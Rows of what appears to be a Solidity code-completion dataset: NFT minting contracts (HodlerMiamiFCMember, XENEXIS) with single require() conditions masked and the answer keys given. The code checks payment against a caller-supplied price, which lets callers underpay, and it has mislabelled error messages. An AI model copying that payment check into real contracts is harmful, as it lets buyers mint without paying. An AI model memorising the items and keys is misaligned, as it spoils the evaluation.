// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| nft2023MembersWL[msg.sender]==false,"You can only mint 2023 Member NFT!" | 498,947 | nft2023MembersWL[msg.sender]==false |
"You have no premission to mint 2023 Member NFT!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
require (msg.value >= _price, "Not enough Balance sent; check price!");
if(_nftType == 1) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(
nft2023MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
if(nft2022And2023MembersWL[msg.sender] == true) {
require(isCheck2022PlayerMint[msg.sender] == true, "You should mint 2022 member NFT at first!");
}
require(isCheck2023PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 2) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(<FILL_ME>)
require(isCheck2022PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 3) {
require(nftStaffsWL[msg.sender] == true, "You have no permission to mint Staff NFT!");
require(nft2022And2023MembersWL[msg.sender] == false, "You can only mint 2022/2023 Member NFTs!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(isCheckStaffMint[msg.sender] == false, "You minted Staff NFT already!");
}
// Current counter value will be the minted token's token ID.
uint256 tokenId = _tokenIdCounter.current();
// Mint the token
_safeMint(msg.sender, 1);
// set Token URI
_setTokenURI(tokenId, _tokenURI);
// Increment it so next time it's correct when we call .current()
_tokenIdCounter.increment();
if(_nftType == 1) {
isCheck2023PlayerMint[msg.sender] = true;
} else if(_nftType == 2) {
isCheck2022PlayerMint[msg.sender] = true;
} else if(_nftType == 3) {
isCheckStaffMint[msg.sender] = true;
}
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| nft2022MembersWL[msg.sender]==true||nft2022And2023MembersWL[msg.sender]==true,"You have no premission to mint 2023 Member NFT!" | 498,947 | nft2022MembersWL[msg.sender]==true||nft2022And2023MembersWL[msg.sender]==true |
"You minted 2023 player NFT already!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
require (msg.value >= _price, "Not enough Balance sent; check price!");
if(_nftType == 1) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(
nft2023MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
if(nft2022And2023MembersWL[msg.sender] == true) {
require(isCheck2022PlayerMint[msg.sender] == true, "You should mint 2022 member NFT at first!");
}
require(isCheck2023PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 2) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(
nft2022MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
require(<FILL_ME>)
}
if(_nftType == 3) {
require(nftStaffsWL[msg.sender] == true, "You have no permission to mint Staff NFT!");
require(nft2022And2023MembersWL[msg.sender] == false, "You can only mint 2022/2023 Member NFTs!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(isCheckStaffMint[msg.sender] == false, "You minted Staff NFT already!");
}
// Current counter value will be the minted token's token ID.
uint256 tokenId = _tokenIdCounter.current();
// Mint the token
_safeMint(msg.sender, 1);
// set Token URI
_setTokenURI(tokenId, _tokenURI);
// Increment it so next time it's correct when we call .current()
_tokenIdCounter.increment();
if(_nftType == 1) {
isCheck2023PlayerMint[msg.sender] = true;
} else if(_nftType == 2) {
isCheck2022PlayerMint[msg.sender] = true;
} else if(_nftType == 3) {
isCheckStaffMint[msg.sender] = true;
}
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| isCheck2022PlayerMint[msg.sender]==false,"You minted 2023 player NFT already!" | 498,947 | isCheck2022PlayerMint[msg.sender]==false |
"You have no permission to mint Staff NFT!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
require (msg.value >= _price, "Not enough Balance sent; check price!");
if(_nftType == 1) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(
nft2023MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
if(nft2022And2023MembersWL[msg.sender] == true) {
require(isCheck2022PlayerMint[msg.sender] == true, "You should mint 2022 member NFT at first!");
}
require(isCheck2023PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 2) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(
nft2022MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
require(isCheck2022PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 3) {
require(<FILL_ME>)
require(nft2022And2023MembersWL[msg.sender] == false, "You can only mint 2022/2023 Member NFTs!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(isCheckStaffMint[msg.sender] == false, "You minted Staff NFT already!");
}
// Current counter value will be the minted token's token ID.
uint256 tokenId = _tokenIdCounter.current();
// Mint the token
_safeMint(msg.sender, 1);
// set Token URI
_setTokenURI(tokenId, _tokenURI);
// Increment it so next time it's correct when we call .current()
_tokenIdCounter.increment();
if(_nftType == 1) {
isCheck2023PlayerMint[msg.sender] = true;
} else if(_nftType == 2) {
isCheck2022PlayerMint[msg.sender] = true;
} else if(_nftType == 3) {
isCheckStaffMint[msg.sender] = true;
}
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| nftStaffsWL[msg.sender]==true,"You have no permission to mint Staff NFT!" | 498,947 | nftStaffsWL[msg.sender]==true |
"You can only mint 2022/2023 Member NFTs!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
require (msg.value >= _price, "Not enough Balance sent; check price!");
if(_nftType == 1) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(
nft2023MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
if(nft2022And2023MembersWL[msg.sender] == true) {
require(isCheck2022PlayerMint[msg.sender] == true, "You should mint 2022 member NFT at first!");
}
require(isCheck2023PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 2) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(
nft2022MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
require(isCheck2022PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 3) {
require(nftStaffsWL[msg.sender] == true, "You have no permission to mint Staff NFT!");
require(<FILL_ME>)
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(isCheckStaffMint[msg.sender] == false, "You minted Staff NFT already!");
}
// Current counter value will be the minted token's token ID.
uint256 tokenId = _tokenIdCounter.current();
// Mint the token
_safeMint(msg.sender, 1);
// set Token URI
_setTokenURI(tokenId, _tokenURI);
// Increment it so next time it's correct when we call .current()
_tokenIdCounter.increment();
if(_nftType == 1) {
isCheck2023PlayerMint[msg.sender] = true;
} else if(_nftType == 2) {
isCheck2022PlayerMint[msg.sender] = true;
} else if(_nftType == 3) {
isCheckStaffMint[msg.sender] = true;
}
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| nft2022And2023MembersWL[msg.sender]==false,"You can only mint 2022/2023 Member NFTs!" | 498,947 | nft2022And2023MembersWL[msg.sender]==false |
"You minted Staff NFT already!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
require (msg.value >= _price, "Not enough Balance sent; check price!");
if(_nftType == 1) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(
nft2023MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
if(nft2022And2023MembersWL[msg.sender] == true) {
require(isCheck2022PlayerMint[msg.sender] == true, "You should mint 2022 member NFT at first!");
}
require(isCheck2023PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 2) {
require(nftStaffsWL[msg.sender] == false, "You can only mint Staff NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(
nft2022MembersWL[msg.sender] == true || nft2022And2023MembersWL[msg.sender] == true,
"You have no premission to mint 2023 Member NFT!"
);
require(isCheck2022PlayerMint[msg.sender] == false, "You minted 2023 player NFT already!");
}
if(_nftType == 3) {
require(nftStaffsWL[msg.sender] == true, "You have no permission to mint Staff NFT!");
require(nft2022And2023MembersWL[msg.sender] == false, "You can only mint 2022/2023 Member NFTs!");
require(nft2022MembersWL[msg.sender] == false, "You can only mint 2022 Member NFT!");
require(nft2023MembersWL[msg.sender] == false, "You can only mint 2023 Member NFT!");
require(<FILL_ME>)
}
// Current counter value will be the minted token's token ID.
uint256 tokenId = _tokenIdCounter.current();
// Mint the token
_safeMint(msg.sender, 1);
// set Token URI
_setTokenURI(tokenId, _tokenURI);
// Increment it so next time it's correct when we call .current()
_tokenIdCounter.increment();
if(_nftType == 1) {
isCheck2023PlayerMint[msg.sender] = true;
} else if(_nftType == 2) {
isCheck2022PlayerMint[msg.sender] = true;
} else if(_nftType == 3) {
isCheckStaffMint[msg.sender] = true;
}
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
function addToNft2022MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to 2023 Member whitelist to mint
function addToNft2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint 2022/2023 Player NFT
function addToNft2022And2023MembersWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// add wallet to whitelist to mint Staff NFT
function addToNftStaffsWL (address _address) external isAddressInWL(_address) onlyOwner {
}
// Set single token URI
function setTokenURI (uint256 _tokenId, string memory _tokenURI) external onlyOwner {
}
/*
* User Types
* 0 => No Permission
* 1 => 2023 Members WL
* 2 => 2022 Members WL
* 3 => 2022/2023 Members WL
* 4 => Staffs WL
*/
function getUserType (address _wallet) external view returns(uint256) {
}
function isCheckMint2022 (address _wallet) public view returns (bool) {
}
function isCheckMint2023 (address _wallet) public view returns (bool) {
}
function isCheckMintStaff (address _wallet) public view returns (bool) {
}
// Set Multi tokens' URIs
function setMultiTokensURI (
uint256[] memory _tokenIds,
string[] memory _tokenURIs,
uint256 _length
) external onlyOwner {
}
// Withdraw ETH from token contract
function withdrawETH () public onlyOwner {
}
// get Balance of msgSender
function getBalanceOfMsgSender () public view returns (uint256) {
}
// overrite TokenURI
function tokenURI (uint256 tokenId) public view override(ERC721A, ERC721AURIStorage) returns (string memory) {
}
// override burn
function _burn(uint256 tokenId) internal override(ERC721A, ERC721AURIStorage) {
}
}
| isCheckStaffMint[msg.sender]==false,"You minted Staff NFT already!" | 498,947 | isCheckStaffMint[msg.sender]==false |
"Minting for Maestro is paused!" | pragma solidity >=0.7.0 <0.9.0;
contract XENEXIS is ERC721, Ownable {
using Strings for uint256;
using Counters for Counters.Counter;
using SafeMath for uint256;
mapping (address => bool) public whitelistForMaestro;
mapping (uint256 => mapping (address => bool)) public whitelistForOthers;
mapping (address => uint256) public mintedForMaestro;
mapping (uint256 => mapping (address => uint256)) public mintedForOthers;
Counters.Counter private supply;
string public uriPrefix = "";
string public uriSuffix = ".json";
uint256 public costForMaestro = 1.1 ether;
uint256 public costForOthers = 0.11 ether;
uint256 public maxSupply = 7888;
uint256 public maxMintAmountPerTx = 5;
uint256 public maxMintAmountForMaestroPerEach = 1;
uint256 public maxMintAmountForOthersPerEach = 5;
uint256 public mintCountForMaestro = 0;
uint256 public maxMintCountForMaestro = 111;
uint256[] public mintCountForOthers;
uint256[] public maxMintCountForOthers;
uint256[] public firstNumberForOthers;
uint256 public eachMintCountForOthers = 0;
uint256 public eachMaxMintCountForOthers = 1111;
bool public paused = true;
bool public pausedForMaestro = true;
bool public pausedForMaestroPublicMinting = true;
bool[] public pausedForOthers;
bool[] public pausedForOthersPublicMinting;
address public managerAccount;
constructor() ERC721("XENEXIS", "XNX") {
}
modifier mintCompliance(uint256 _mintAmount) {
}
function totalSupply() public view returns (uint256) {
}
function mintForMaestroWL(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
require(!paused, "The contract is paused!");
require(<FILL_ME>)
require(msg.value >= costForMaestro * _mintAmount, "Insufficient funds!");
require(whitelistForMaestro[msg.sender], "This account does not exist in whitelist");
//_mintLoop(msg.sender, _mintAmount);
for (uint256 i = 0; i < _mintAmount; i++) {
require(mintCountForMaestro < maxMintCountForMaestro);
require(mintedForMaestro[msg.sender] < maxMintAmountForMaestroPerEach, "Already minted!");
supply.increment();
_safeMint(msg.sender, mintCountForMaestro.add(1));
mintCountForMaestro = mintCountForMaestro + 1;
mintedForMaestro[msg.sender] = mintedForMaestro[msg.sender].add(1);
}
}
function mintForMaestro(uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthersWL(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
function mintForOthers(uint256 _collectionNumber, uint256 _mintAmount) public payable mintCompliance(_mintAmount) {
}
// function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
// _mintLoop(_receiver, _mintAmount);
// }
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setCost(uint256 _costForMaestro, uint256 _costForOthers) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setMaxMintAmountForMaestroPerEach(uint256 _maxMintAmountForMaestroPerEach) public onlyOwner {
}
function setMaxMintAmountForOthersPerEach(uint256 _maxMintAmountForOthersPerEach) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPausedForMaestro(bool _state) public onlyOwner {
}
function setPausedForMaestroPublicMinting(bool _state) public onlyOwner {
}
function setPausedForOthers(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function setPausedForOthersPublicMinting(uint256 _collectionNumber, bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function ownerMintLoop(address[] calldata _mintingMembers, uint256[] calldata _tokenIds) public {
}
// function _mintLoop(address _receiver, uint256 _mintAmount) internal {
// for (uint256 i = 0; i < _mintAmount; i++) {
// supply.increment();
// _safeMint(_receiver, supply.current());
// }
// }
function _baseURI() internal view virtual override returns (string memory) {
}
function setWhitelistForMaestroForLoop(address[] calldata _whitelistMembers) public {
}
function setWhitelistForMaestro(address _whitelistMember, bool _enable) public {
}
function setWhitelistForOthersForLoop(uint256 _collectionNumber, address[] calldata _whitelistMembers) public {
}
function setWhitelistForOthers(uint256 _collectionNumber, address _whitelistMember, bool _enable) public {
}
function getMintCountForMaestro() public view returns (uint256) {
}
function getMintCountForOthers(uint256 _collectionNumber) public view returns (uint256) {
}
function getWhitelistedForMaestro(address _checkAddress) public view returns (bool) {
}
function getWhitelistedForOthers(uint256 _collectionNumber, address _checkAddress) public view returns (bool) {
}
